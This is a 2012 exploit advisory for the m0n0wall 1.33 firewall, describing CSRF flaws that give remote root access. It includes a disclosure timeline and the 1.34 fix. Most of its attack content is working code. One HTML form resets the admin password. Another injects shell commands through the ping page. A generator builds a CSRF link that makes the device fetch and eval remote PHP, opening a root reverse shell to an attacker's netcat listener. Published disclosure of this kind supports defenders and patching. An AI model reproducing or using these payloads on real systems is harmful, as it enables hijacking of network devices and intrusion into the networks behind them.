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m0n0wall 1.33 Cross Site Request Forgery

m0n0wall 1.33 Cross Site Request Forgery
Posted Dec 6, 2012
Authored by Yann CAM

m0n0wall version 1.33 suffers from a cross site request forgery vulnerability that can allow for remote root access to the system.

tags | exploit, remote, root, csrf
MD5 | 364018406072194858a7a83fb8c41145

m0n0wall 1.33 Cross Site Request Forgery

Change Mirror Download
######################################################################
# Exploit Title: m0n0wall 1.33 CSRF Remote root Access
# Date: 30/11/2012
# Author: Yann CAM @ Synetis
# Vendor or Software Link: m0n0.ch - m0n0.ch/wall/downloads.php
# Version: 1.33
# Category: CSRF Remote root Access
# Google dork:
# Tested on: FreeBSD
######################################################################



m0n0wall firewall/router distribution description :
======================================================================

m0n0wall is a project aimed at creating a complete, embedded firewall software package that, when used together with an embedded PC, provides all the important features of commercial firewall boxes (including ease of use) at a fraction of the price (free software).
m0n0wall is based on a bare-bones version of FreeBSD, along with a web server, PHP and a few other utilities. The entire system configuration is stored in one single XML text file to keep things transparent.
m0n0wall is probably the first UNIX system that has its boot-time configuration done with PHP, rather than the usual shell scripts, and that has the entire system configuration stored in XML format.

In version 1.33 of the distribution, differents vulnerabilities CSRF RCE reverse root shell can be used. It is strongly advised to update to version 1.34 available now.



Proof of Concept 1 :
======================================================================

CSRF exploit to reset WebGUI admin password to admin/mono (with command execution) :

File /usr/local/www/exec.php line 250 :
$ph = popen($_POST['txtCommand'], "r" );

PoC:

<html>
<body>
<form name='x' action='http://m0n0wall_IP:80/exec.php' method='post'>
<input type='hidden' name='txtCommand' value='echo "admin:\$1\$UHzbn8k6\$RmvocDPCsXm0uW4SYZAcA/" > /usr/local/www/.htpasswd' />
</form>
<script>document.forms['x'].submit();</script>
</body>
</html>



Proof of Concept 2 :
======================================================================

CSRF exploit to execute arbitrary command on server :

File /usr/local/www/diag_ping.php line 159 and 161 :
159 : system("/sbin/$pingprog -S$ifaddr -c$count " . escapeshellarg($host));
161 : system("/sbin/$pingprog -c$count " . escapeshellarg($host));

The remote command execution through CSRF target the $count variable. This variable is defined on line 55 :
55 : $count = $_POST['count'];

But this variable is set only if line 47 is false :
47 : if (($_POST['count'] < 1) || ($_POST['count'] > MAX_COUNT)) {

So, if an attacker prepend his injection command with a number between 1 and 10, $count is set.

You should sanitize this $count variable like :
if ((intval($_POST['count']) < 1) || (intval($_POST['count']) > MAX_COUNT)) {

PoC :

<html>
<body>
<form name='x' action='http://m0n0wall_IP:80/diag_ping.php' method='post'>
<input type='hidden' name='count' value='1;ls -la;' />
<input type='hidden' name='host' value='127.0.0.1' />
</form>
<script>document.forms['x'].submit();</script>
</body>
</html>



Proof of Concept 3 :
======================================================================

File /usr/local/www/exec_ram.php line 36 :
36 : passthru($_GET['cmd']);

It's the more dangerous vulnerability. By this way, it's possible to an attacker to gain a full interactive reverse shell through a CSRF attack.
m0n0wall is so light that none of binary file can be used to establish a reverse shell (netcat, telnet or any alternative aren't present...).
So, to make a real reverse shell, I use PHP file. Principle is to put on the m0n0wall web server a new PHP file with several instructions to open a socket to the attacker with the /bin/sh share.
m0n0wall PHP-CGI version is compiled with the socket library so it's relatively easy.
The CSRF can only create a new file into the web directory on m0n0wall, but can not run this file with PHP. I have tried several syntaxe with /usr/local/bin/php (-r, -f...) to force run it, but unsuccessfull...
So, I make a new request into the CSRF script to call this script and to establish the reverse shell.
You can see this exploitation in this demonstration video just made as proof of concept here:

http://www.youtube.com/watch?v=It288h9VtV4

CSRF generator to Reverse root shell fully interactive :

<html>
<head>
<script>
function trim(s){
return s.replace(/\r\n|\r|\n|\t/g,'').replace(/^\s+/g,'').replace(/\s+$/g,'');
}

function generateCSRF(){
var target = trim(document.getElementById("target").value);
var httpurl = trim(document.getElementById("httpurl").value);
var resultjs = "";
resultjs += "<html><body>";
resultjs += "<img src='" + target + "exec_raw.php?cmd=echo%20-e%20%22%23%21/usr/local/bin/php%5Cn%3C%3Fphp%20eval%28%27%3F%3E%20%27.file_get_contents%28%27http%3A//" + httpurl + "%27%29.%27%3C%3Fphp%20%27%29%3B%20%3F%3E%22%20%3E%20x.php%3Bcat%20x.php%3Bchmod%20755%20x.php%3B' />";
resultjs += "<script type='text/javascript'>function redirect(page){window.location=page;}setTimeout('redirect(\"" + target + "x.php\")',1000);<\/script></body></html>";
document.getElementById("resultjs").value = resultjs;
}

</script>
</head>
<body onload="generateCSRF();">
<h2>CSRF m0n0wall 1.33 to root RCE (reverse shell)</h2>
<p>m0n0wall 1.33, the latest firewall/router distribution based on FreeBSD is vulnerable to a CSRF attack that allows gaining root access through a reverse shell.<br />
The attacker must know the URL address of m0n0wall WebGui.<br />
To obtain the reverseshell, attacker must place a netcat in listening mode.<br />
On attacker machine :
<pre>nc -l -vv -p 1337 # Netcat listener, to gain shell control.</pre>
(admin hash is in the /config/config.xml file on m0n0wall, and WebGUI access is checked with /usr/local/www/.htpasswd)
</p>
<form action="" onsubmit="generateCSRF();return false;">
<table>
<tr><td>URL's m0n0wall 1.33 Targeted :</td> <td>
<input id="target" type="text" value="http://192.168.0.253:80/" size="70" onkeyup="generateCSRF();" /></td>
</tr>
<tr><td> HTTP URL to download php-reverse-shell.txt <br />
You need to download php-reverse-shell <a href="http://pentestmonkey.net/tools/web-shells/php-reverse-shell" target="_blank">here</a> !<br />
Edit the script to indicate :<br />
<pre>$ip = 'ATTACKER_IP_REVERSE_SHELL'; // CHANGE THIS
$port = PORT_IN_LISTENING_MODE; // CHANGE THIS</pre>
Then, rename php-reverse-shell.php to psr.txt and host it on a accessible web server.</td> <td>http://
<input id="httpurl" type="text" value="192.168.0.141/prs.txt" size="70" onkeyup="generateCSRF();" /></td>
</tr>

<tr> <td>CSRF exploit to send to an admin : </td> <td>
<textarea cols="70" rows="10" id="resultjs" readonly="readonly"></textarea> </td>
</tr>
</table>
</form>
</body>
</html>



Solution:
======================================================================
2012-11-12: Release 1.34




Additional resources :
======================================================================

- m0n0.ch
- www.synetis.com
- blog.synetis.com/2012/11/19/pare-feu-routeur-m0n0wall
- www.asafety.fr/vuln-exploit-poc/csrf-rce-m0n0wall-1-33-remote-root-access
- www.youtube.com/watch?v=It288h9VtV4
- pentestmonkey.net/tools/web-shells/php-reverse-shell



Report timeline :
======================================================================

2012-10-05 : Team alerted with many details, PoC, video and potential solution
2012-10-06 : Team first response
2012-10-18 : Team second feedback with many corrections and evolutions
2012-10-31 : Our feedback concerning their corrections
2012-11-01 : Final feedback from m0n0wall team with their thanks
2012-11-12 : Release 1.34
2012-12-06 : Public advisory



Credits :
======================================================================

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8888 Consulting firm in management and information security

Yann CAM - Security Consultant @ synetis



Last word :
======================================================================

Thank you to all the m0n0wall team for responsiveness, professionalism and quality solution despite of these few minor weaknesses.

--
SYNETIS
CONTACT: www.synetis.com

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